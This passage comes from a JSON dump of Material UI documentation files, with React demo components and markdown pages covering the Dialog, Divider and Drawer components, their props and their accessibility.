variant=\"outlined\" onClick={handleClickOpen}>\n        Open simple dialog\n      </Button>\n      <SimpleDialog\n        selectedValue={selectedValue}\n        open={open}\n        onClose={handleClose}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/SimpleDialogDemo.tsx.preview",
    "content": "<Typography variant=\"subtitle1\" component=\"div\">\n  Selected: {selectedValue}\n</Typography>\n<br />\n<Button variant=\"outlined\" onClick={handleClickOpen}>\n  Open simple dialog\n</Button>\n<SimpleDialog\n  selectedValue={selectedValue}\n  open={open}\n  onClose={handleClose}\n/>"
  },
  {
    "path": "docs/data/material/components/dialogs/dialogs.md",
    "content": "---\nproductId: material-ui\ntitle: React Dialog component\ncomponents: Dialog, DialogTitle, DialogContent, DialogContentText, DialogActions, Slide\ngithubLabel: 'scope: dialog'\nmaterialDesign: https://m2.material.io/components/dialogs\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/\ngithubSource: packages/mui-material/src/Dialog\n---\n\n# Dialog\n\n<p class=\"description\">Dialogs inform users about a task and can contain critical information, require decisions, or involve multiple tasks.</p>\n\nA Dialog is a type of [modal](/material-ui/react-modal/) window that appears in front of app content to provide critical information or ask for a decision. Dialogs disable all app functionality when they appear, and remain on screen until confirmed, dismissed, or a required action has been taken.\n\nDialogs are purposefully interruptive, so they should be used sparingly.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nDialogs are implemented using a collection of related components:\n\n- Dialog: the parent component that renders the modal.\n- Dialog Title: a wrapper used for the title of a Dialog.\n- Dialog Actions: an optional container for a Dialog's Buttons.\n- Dialog Content: an optional container for displaying the Dialog's content.\n- Dialog Content Text: a wrapper for text inside of `<DialogContent />`.\n- Slide: optional [Transition](/material-ui/transitions/#slide) used to slide the Dialog in from the edge of the screen.\n\n{{\"demo\": \"SimpleDialogDemo.js\"}}\n\n## Basics\n\n```jsx\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\n```\n\n## Alerts\n\nAlerts are urgent interruptions, requiring acknowledgement, that inform the user about a situation.\n\nUse `role=\"alertdialog\"` to create an Alert Dialog. This provides assistive technologies the correct purpose of the Dialog.\n\nMost alerts don't need titles.\nThey summarize a decision in a sentence or two by either:\n\n- Asking a question (for example \"Delete this conversation?\")\n- Making a statement related to the action buttons\n\nUse title bar alerts only for high-risk situations, such as the potential loss of connectivity.\nUsers should be able to understand the choices based on the title and button text alone.\n\nIf a title is required:\n\n- Use a clear question or statement with an explanation in the content area, such as \"Erase USB storage?\".\n- Avoid apologies, ambiguity, or questions, such as \"Warning!\" or \"Are you sure?\"\n\n{{\"demo\": \"AlertDialog.js\"}}\n\n## Transitions\n\nYou can also swap out the transition, the next example uses `Slide`.\n\n{{\"demo\": \"AlertDialogSlide.js\"}}\n\n## Form dialogs\n\nForm dialogs allow users to fill out form fields within a dialog.\nFor example, if your site prompts for potential subscribers to fill in their email address, they can fill out the email field and touch 'Submit'.\n\n{{\"demo\": \"FormDialog.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\nThe dialog has a close button added to aid usability.\n\n{{\"demo\": \"CustomizedDialogs.js\"}}\n\n## Full-screen dialogs\n\n{{\"demo\": \"FullScreenDialog.js\"}}\n\n## Optional sizes\n\nYou can set a dialog maximum width by using the `maxWidth` enumerable in combination with the `fullWidth` boolean.\nWhen the `fullWidth` prop is true, the dialog will adapt based on the `maxWidth` value.\n\n{{\"demo\": \"MaxWidthDialog.js\"}}\n\n## Responsive full-screen\n\nYou may make a dialog responsively full screen using [`useMediaQuery`](/material-ui/react-use-media-query/).\n\n```jsx\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nfunction MyComponent() {\n  const theme = useTheme();\n  const fullScreen = useMediaQuery(theme.breakpoints.down('md'));\n\n  return <Dialog fullScreen={fullScreen} />;\n}\n```\n\n{{\"demo\": \"ResponsiveDialog.js\"}}\n\n## Confirmation dialogs\n\nConfirmation dialogs require users to explicitly confirm their choice before an option is committed.\nFor example, users can listen to multiple ringtones but only make a final selection upon touching \"OK\".\n\nTouching \"Cancel\" in a confirmation dialog, cancels the action, discards any changes, and closes the dialog.\n\n{{\"demo\": \"ConfirmationDialog.js\"}}\n\n## Non-modal dialog\n\nDialogs can also be non-modal, meaning they don't interrupt user interaction behind it.\nVisit [the Nielsen Norman Group article](https://www.nngroup.com/articles/modal-nonmodal-dialog/) for more in-depth guidance about modal vs. non-modal dialog usage.\n\nThe demo below shows a persistent cookie banner, a common non-modal dialog use case.\n\n{{\"demo\": \"CookiesBanner.js\", \"iframe\": true}}\n\n## Draggable dialog\n\nYou can create a draggable dialog by using [react-draggable](https://github.com/react-grid-layout/react-draggable).\nTo do so, you can pass the imported `Draggable` component as the `PaperComponent` of the `Dialog` component.\nThis will make the entire dialog draggable.\n\n{{\"demo\": \"DraggableDialog.js\"}}\n\n## Scrolling long content\n\nWhen dialogs become too long for the user's viewport or device, they scroll.\n\n- `scroll=paper` the content of the dialog scrolls within the paper element.\n- `scroll=body` the content of the dialog scrolls within the body element.\n\nTry the demo below to see what we mean:\n\n{{\"demo\": \"ScrollDialog.js\"}}\n\n## Performance\n\nFollow the [Modal performance section](/material-ui/react-modal/#performance).\n\n## Limitations\n\nFollow the [Modal limitations section](/material-ui/react-modal/#limitations).\n\n## Supplementary projects\n\nFor more advanced use cases you might be able to take advantage of:\n\n### material-ui-confirm\n\n![stars](https://img.shields.io/github/stars/jonatanklosko/material-ui-confirm?style=social&label=Star)\n![npm downloads](https://img.shields.io/npm/dm/material-ui-confirm.svg)\n\nThe package [`material-ui-confirm`](https://github.com/jonatanklosko/material-ui-confirm/) provides dialogs for confirming user actions without writing boilerplate code.\n\n## Accessibility\n\nFollow the [Modal accessibility section](/material-ui/react-modal/#accessibility).\n"
  },
  {
    "path": "docs/data/material/components/dividers/DividerText.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Divider from '@mui/material/Divider';\nimport Chip from '@mui/material/Chip';\n\nconst Root = styled('div')(({ theme }) => ({\n  width: '100%',\n  ...theme.typography.body2,\n  color: (theme.vars || theme).palette.text.secondary,\n  '& > :not(style) ~ :not(style)': {\n    marginTop: theme.spacing(2),\n  },\n}));\n\nexport default function DividerText() {\n  const content = (\n    <p>{`Lorem ipsum dolor sit amet, consectetur adipiscing elit.`}</p>\n  );\n\n  return (\n    <Root>\n      {content}\n      <Divider>CENTER</Divider>\n      {content}\n      <Divider textAlign=\"left\">LEFT</Divider>\n      {content}\n      <Divider textAlign=\"right\">RIGHT</Divider>\n      {content}\n      <Divider>\n        <Chip label=\"Chip\" size=\"small\" />\n      </Divider>\n      {content}\n    </Root>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/DividerText.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Divider from '@mui/material/Divider';\nimport Chip from '@mui/material/Chip';\n\nconst Root = styled('div')(({ theme }) => ({\n  width: '100%',\n  ...theme.typography.body2,\n  color: (theme.vars || theme).palette.text.secondary,\n  '& > :not(style) ~ :not(style)': {\n    marginTop: theme.spacing(2),\n  },\n}));\n\nexport default function DividerText() {\n  const content = (\n    <p>{`Lorem ipsum dolor sit amet, consectetur adipiscing elit.`}</p>\n  );\n\n  return (\n    <Root>\n      {content}\n      <Divider>CENTER</Divider>\n      {content}\n      <Divider textAlign=\"left\">LEFT</Divider>\n      {content}\n      <Divider textAlign=\"right\">RIGHT</Divider>\n      {content}\n      <Divider>\n        <Chip label=\"Chip\" size=\"small\" />\n      </Divider>\n      {content}\n    </Root>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/DividerText.tsx.preview",
    "content": "<Root>\n  {content}\n  <Divider>CENTER</Divider>\n  {content}\n  <Divider textAlign=\"left\">LEFT</Divider>\n  {content}\n  <Divider textAlign=\"right\">RIGHT</Divider>\n  {content}\n  <Divider>\n    <Chip label=\"Chip\" size=\"small\" />\n  </Divider>\n  {content}\n</Root>"
  },
  {
    "path": "docs/data/material/components/dividers/DividerVariants.js",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\n\nconst style = {\n  py: 0,\n  width: '100%',\n  maxWidth: 360,\n  borderRadius: 2,\n  border: '1px solid',\n  borderColor: 'divider',\n  backgroundColor: 'background.paper',\n};\n\nexport default function DividerVariants() {\n  return (\n    <List sx={style}>\n      <ListItem>\n        <ListItemText primary=\"Full width variant below\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Inset variant below\" />\n      </ListItem>\n      <Divider variant=\"inset\" component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Middle variant below\" />\n      </ListItem>\n      <Divider variant=\"middle\" component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"List item\" />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/DividerVariants.tsx",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\n\nconst style = {\n  py: 0,\n  width: '100%',\n  maxWidth: 360,\n  borderRadius: 2,\n  border: '1px solid',\n  borderColor: 'divider',\n  backgroundColor: 'background.paper',\n};\n\nexport default function DividerVariants() {\n  return (\n    <List sx={style}>\n      <ListItem>\n        <ListItemText primary=\"Full width variant below\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Inset variant below\" />\n      </ListItem>\n      <Divider variant=\"inset\" component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Middle variant below\" />\n      </ListItem>\n      <Divider variant=\"middle\" component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"List item\" />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/FlexDivider.js",
    "content": "import FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport FormatItalicIcon from '@mui/icons-material/FormatItalic';\nimport Box from '@mui/material/Box';\nimport Divider from '@mui/material/Divider';\n\nexport default function FlexDivider() {\n  return (\n    <Box\n      sx={{\n        display: 'inline-flex',\n        alignItems: 'center',\n        border: '1px solid',\n        borderColor: 'divider',\n        borderRadius: 2,\n        bgcolor: 'background.paper',\n        color: 'text.secondary',\n        '& svg': {\n          m: 1,\n        },\n      }}\n    >\n      <FormatBoldIcon />\n      <Divider orientation=\"vertical\" variant=\"middle\" flexItem />\n      <FormatItalicIcon />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/FlexDivider.tsx",
    "content": "import FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport FormatItalicIcon from '@mui/icons-material/FormatItalic';\nimport Box from '@mui/material/Box';\nimport Divider from '@mui/material/Divider';\n\nexport default function FlexDivider() {\n  return (\n    <Box\n      sx={{\n        display: 'inline-flex',\n        alignItems: 'center',\n        border: '1px solid',\n        borderColor: 'divider',\n        borderRadius: 2,\n        bgcolor: 'background.paper',\n        color: 'text.secondary',\n        '& svg': {\n          m: 1,\n        },\n      }}\n    >\n      <FormatBoldIcon />\n      <Divider orientation=\"vertical\" variant=\"middle\" flexItem />\n      <FormatItalicIcon />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/FlexDivider.tsx.preview",
    "content": "<FormatBoldIcon />\n<Divider orientation=\"vertical\" variant=\"middle\" flexItem />\n<FormatItalicIcon />"
  },
  {
    "path": "docs/data/material/components/dividers/IntroDivider.js",
    "content": "import Card from '@mui/material/Card';\nimport Box from '@mui/material/Box';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\n\nexport default function IntroDivider() {\n  return (\n    <Card variant=\"outlined\" sx={{ maxWidth: 360 }}>\n      <Box sx={{ p: 2 }}>\n        <Stack\n          direction=\"row\"\n          sx={{ justifyContent: 'space-between', alignItems: 'center' }}\n        >\n          <Typography gutterBottom variant=\"h5\" component=\"div\">\n            Toothbrush\n          </Typography>\n          <Typography gutterBottom variant=\"h6\" component=\"div\">\n            $4.50\n          </Typography>\n        </Stack>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          Pinstriped cornflower blue cotton blouse takes you on a walk to the park or\n          just down the hall.\n        </Typography>\n      </Box>\n      <Divider />\n      <Box sx={{ p: 2 }}>\n        <Typography gutterBottom variant=\"body2\">\n          Select type\n        </Typography>\n        <Stack direction=\"row\" spacing={1}>\n          <Chip color=\"primary\" label=\"Soft\" size=\"small\" />\n          <Chip label=\"Medium\" size=\"small\" />\n          <Chip label=\"Hard\" size=\"small\" />\n        </Stack>\n      </Box>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/IntroDivider.tsx",
    "content": "import Card from '@mui/material/Card';\nimport Box from '@mui/material/Box';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\n\nexport default function IntroDivider() {\n  return (\n    <Card variant=\"outlined\" sx={{ maxWidth: 360 }}>\n      <Box sx={{ p: 2 }}>\n        <Stack\n          direction=\"row\"\n          sx={{ justifyContent: 'space-between', alignItems: 'center' }}\n        >\n          <Typography gutterBottom variant=\"h5\" component=\"div\">\n            Toothbrush\n          </Typography>\n          <Typography gutterBottom variant=\"h6\" component=\"div\">\n            $4.50\n          </Typography>\n        </Stack>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          Pinstriped cornflower blue cotton blouse takes you on a walk to the park or\n          just down the hall.\n        </Typography>\n      </Box>\n      <Divider />\n      <Box sx={{ p: 2 }}>\n        <Typography gutterBottom variant=\"body2\">\n          Select type\n        </Typography>\n        <Stack direction=\"row\" spacing={1}>\n          <Chip color=\"primary\" label=\"Soft\" size=\"small\" />\n          <Chip label=\"Medium\" size=\"small\" />\n          <Chip label=\"Hard\" size=\"small\" />\n        </Stack>\n      </Box>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/ListDividers.js",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\n\nconst style = {\n  p: 0,\n  width: '100%',\n  maxWidth: 360,\n  borderRadius: 2,\n  border: '1px solid',\n  borderColor: 'divider',\n  backgroundColor: 'background.paper',\n};\n\nexport default function ListDividers() {\n  return (\n    <List sx={style} aria-label=\"mailbox folders\">\n      <ListItem>\n        <ListItemText primary=\"Inbox\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Drafts\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Trash\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Spam\" />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/ListDividers.tsx",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\n\nconst style = {\n  p: 0,\n  width: '100%',\n  maxWidth: 360,\n  borderRadius: 2,\n  border: '1px solid',\n  borderColor: 'divider',\n  backgroundColor: 'background.paper',\n};\n\nexport default function ListDividers() {\n  return (\n    <List sx={style} aria-label=\"mailbox folders\">\n      <ListItem>\n        <ListItemText primary=\"Inbox\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Drafts\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Trash\" />\n      </ListItem>\n      <Divider component=\"li\" />\n      <ListItem>\n        <ListItemText primary=\"Spam\" />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/VerticalDividerMiddle.js",
    "content": "import Card from '@mui/material/Card';\nimport Divider, { dividerClasses } from '@mui/material/Divider';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\n\nexport default function VerticalDividerMiddle() {\n  return (\n    <Card\n      variant=\"outlined\"\n      sx={{\n        display: 'flex',\n        color: 'text.secondary',\n        '& svg': {\n          m: 1,\n        },\n        [`& .${dividerClasses.root}`]: {\n          mx: 0.5,\n        },\n      }}\n    >\n      <FormatAlignLeftIcon />\n      <FormatAlignCenterIcon />\n      <FormatAlignRightIcon />\n      <Divider orientation=\"vertical\" variant=\"middle\" flexItem />\n      <FormatBoldIcon />\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/VerticalDividerMiddle.tsx",
    "content": "import Card from '@mui/material/Card';\nimport Divider, { dividerClasses } from '@mui/material/Divider';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\n\nexport default function VerticalDividerMiddle() {\n  return (\n    <Card\n      variant=\"outlined\"\n      sx={{\n        display: 'flex',\n        color: 'text.secondary',\n        '& svg': {\n          m: 1,\n        },\n        [`& .${dividerClasses.root}`]: {\n          mx: 0.5,\n        },\n      }}\n    >\n      <FormatAlignLeftIcon />\n      <FormatAlignCenterIcon />\n      <FormatAlignRightIcon />\n      <Divider orientation=\"vertical\" variant=\"middle\" flexItem />\n      <FormatBoldIcon />\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/VerticalDividers.js",
    "content": "import FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport Box from '@mui/material/Box';\nimport Divider, { dividerClasses } from '@mui/material/Divider';\n\nexport default function VerticalDividers() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        alignItems: 'center',\n        border: '1px solid',\n        borderColor: 'divider',\n        borderRadius: 1,\n        bgcolor: 'background.paper',\n        color: 'text.secondary',\n        '& svg': {\n          m: 1,\n        },\n        [`& .${dividerClasses.root}`]: {\n          mx: 0.5,\n        },\n      }}\n    >\n      <FormatAlignLeftIcon />\n      <FormatAlignCenterIcon />\n      <FormatAlignRightIcon />\n      <Divider orientation=\"vertical\" flexItem />\n      <FormatBoldIcon />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/VerticalDividers.tsx",
    "content": "import FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport Box from '@mui/material/Box';\nimport Divider, { dividerClasses } from '@mui/material/Divider';\n\nexport default function VerticalDividers() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        alignItems: 'center',\n        border: '1px solid',\n        borderColor: 'divider',\n        borderRadius: 1,\n        bgcolor: 'background.paper',\n        color: 'text.secondary',\n        '& svg': {\n          m: 1,\n        },\n        [`& .${dividerClasses.root}`]: {\n          mx: 0.5,\n        },\n      }}\n    >\n      <FormatAlignLeftIcon />\n      <FormatAlignCenterIcon />\n      <FormatAlignRightIcon />\n      <Divider orientation=\"vertical\" flexItem />\n      <FormatBoldIcon />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dividers/VerticalDividers.tsx.preview",
    "content": "<FormatAlignLeftIcon />\n<FormatAlignCenterIcon />\n<FormatAlignRightIcon />\n<Divider orientation=\"vertical\" flexItem />\n<FormatBoldIcon />"
  },
  {
    "path": "docs/data/material/components/dividers/dividers.md",
    "content": "---\nproductId: material-ui\ntitle: React Divider component\ncomponents: Divider\ngithubLabel: 'scope: divider'\nmaterialDesign: https://m2.material.io/components/dividers\ngithubSource: packages/mui-material/src/Divider\n---\n\n# Divider\n\n<p class=\"description\">The Divider component provides a thin, unobtrusive line for grouping elements to reinforce visual hierarchy.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nThe Material UI Divider component renders as a dark gray `<hr>` by default, and features several useful props for quick style adjustments.\n\n{{\"demo\": \"IntroDivider.js\", \"bg\": true}}\n\n## Basics\n\n```jsx\nimport Divider from '@mui/material/Divider';\n```\n\n### Variants\n\nThe Divider component supports three variants: `fullWidth` (default), `inset`, and `middle`.\n\n{{\"demo\": \"DividerVariants.js\", \"bg\": true}}\n\n### Orientation\n\nUse the `orientation` prop to change the Divider from horizontal to vertical. When using vertical orientation, the Divider renders a `<div>` with the corresponding accessibility attributes instead of `<hr>` to adhere to the WAI-ARIA [spec](https://www.w3.org/TR/wai-aria-1.2/#separator).\n\n{{\"demo\": \"VerticalDividers.js\", \"bg\": true}}\n\n### Flex item\n\nUse the `flexItem` prop to display the Divider when it's being used in a flex container.\n\n{{\"demo\": \"FlexDivider.js\", \"bg\": true}}\n\n### With children\n\nUse the `textAlign` prop to align elements that are wrapped by the Divider.\n\n{{\"demo\": \"DividerText.js\", \"bg\": true}}\n\n## Customization\n\n### Use with a List\n\nWhen using the Divider to separate items in a List, use the `component` prop to render it as an `<li>`—otherwise it won't be a valid HTML element.\n\n{{\"demo\": \"ListDividers.js\", \"bg\": true}}\n\n### Icon grouping\n\nThe demo below shows how to combine the props `variant=\"middle\"` and `orientation=\"vertical\"`.\n\n{{\"demo\": \"VerticalDividerMiddle.js\", \"bg\": true}}\n\n## Accessibility\n\nDue to its implicit role of `separator`, the Divider, which is a `<hr>` element, will be announced by screen readers as a \"Horizontal Splitter\" (or vertical, if you're using the `orientation` prop).\n\nIf you're using it as a purely stylistic element, we recommend setting `aria-hidden=\"true\"` which will make screen readers bypass it.\n\n```js\n<Divider aria-hidden=\"true\" />\n```\n\nIf you're using the Divider to wrap other elements, such as text or chips, we recommend changing its rendered element to a plain `<div>` using the `component` prop, and setting `role=\"presentation\"`.\nThis ensures that it's not announced by screen readers while still preserving the semantics of the elements inside it.\n\n```js\n<Divider component=\"div\" role=\"presentation\">\n  <Typography>Text element</Typography>\n</Divider>\n```\n\n## Anatomy\n\nThe Divider component is composed of a root `<hr>`.\n\n```html\n<hr class=\"MuiDivider-root\">\n  <!-- Divider children goes here -->\n</hr>\n```\n"
  },
  {
    "path": "docs/data/material/components/drawers/AnchorTemporaryDrawer.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function AnchorTemporaryDrawer() {\n  const [state, setState] = React.useState({\n    top: false,\n    left: false,\n    bottom: false,\n    right: false,\n  });\n\n  const toggleDrawer = (anchor, open) => (event) => {\n    if (event.type === 'keydown' && (event.key === 'Tab' || event.key === 'Shift')) {\n      return;\n    }\n\n    setState({ ...state, [anchor]: open });\n  };\n\n  const list = (anchor) => (\n    <Box\n      sx={{ width: anchor === 'top' || anchor === 'bottom' ? 'auto' : 250 }}\n      role=\"presentation\"\n      onClick={toggleDrawer(anchor, false)}\n      onKeyDown={toggleDrawer(anchor, false)}\n    >\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  return (\n    <div>\n      {['left', 'right', 'top', 'bottom'].map((anchor) => (\n        <React.Fragment key={anchor}>\n          <Button onClick={toggleDrawer(anchor, true)}>{anchor}</Button>\n          <Drawer\n            anchor={anchor}\n            open={state[anchor]}\n            onClose={toggleDrawer(anchor, false)}\n          >\n            {list(anchor)}\n          </Drawer>\n        </React.Fragment>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/AnchorTemporaryDrawer.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\ntype Anchor = 'top' | 'left' | 'bottom' | 'right';\n\nexport default function AnchorTemporaryDrawer() {\n  const [state, setState] = React.useState({\n    top: false,\n    left: false,\n    bottom: false,\n    right: false,\n  });\n\n  const toggleDrawer =\n    (anchor: Anchor, open: boolean) =>\n    (event: React.KeyboardEvent | React.MouseEvent) => {\n      if (\n        event.type === 'keydown' &&\n        ((event as React.KeyboardEvent).key === 'Tab' ||\n          (event as React.KeyboardEvent).key === 'Shift')\n      ) {\n        return;\n      }\n\n      setState({ ...state, [anchor]: open });\n    };\n\n  const list = (anchor: Anchor) => (\n    <Box\n      sx={{ width: anchor === 'top' || anchor === 'bottom' ? 'auto' : 250 }}\n      role=\"presentation\"\n      onClick={toggleDrawer(anchor, false)}\n      onKeyDown={toggleDrawer(anchor, false)}\n    >\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  return (\n    <div>\n      {(['left', 'right', 'top', 'bottom'] as const).map((anchor) => (\n        <React.Fragment key={anchor}>\n          <Button onClick={toggleDrawer(anchor, true)}>{anchor}</Button>\n          <Drawer\n            anchor={anchor}\n            open={state[anchor]}\n            onClose={toggleDrawer(anchor, false)}\n          >\n            {list(anchor)}\n          </Drawer>\n        </React.Fragment>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/AnchorTemporaryDrawer.tsx.preview",
    "content": "{(['left', 'right', 'top', 'bottom'] as const).map((anchor) => (\n  <React.Fragment key={anchor}>\n    <Button onClick={toggleDrawer(anchor, true)}>{anchor}</Button>\n    <Drawer\n      anchor={anchor}\n      open={state[anchor]}\n      onClose={toggleDrawer(anchor, false)}\n    >\n      {list(anchor)}\n    </Drawer>\n  </React.Fragment>\n))}"
  },
  {
    "path": "docs/data/material/components/drawers/ClippedDrawer.js",
    "content": "import Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport AppBar from '@mui/material/AppBar';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nexport default function ClippedDrawer() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" sx={{ zIndex: (theme) => theme.zIndex.drawer + 1 }}>\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Clipped drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer\n        variant=\"permanent\"\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          [`& .MuiDrawer-paper`]: { width: drawerWidth, boxSizing: 'border-box' },\n        }}\n      >\n        <Toolbar />\n        <Box sx={{ overflow: 'auto' }}>\n          <List>\n            {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n              <ListItem key={text} 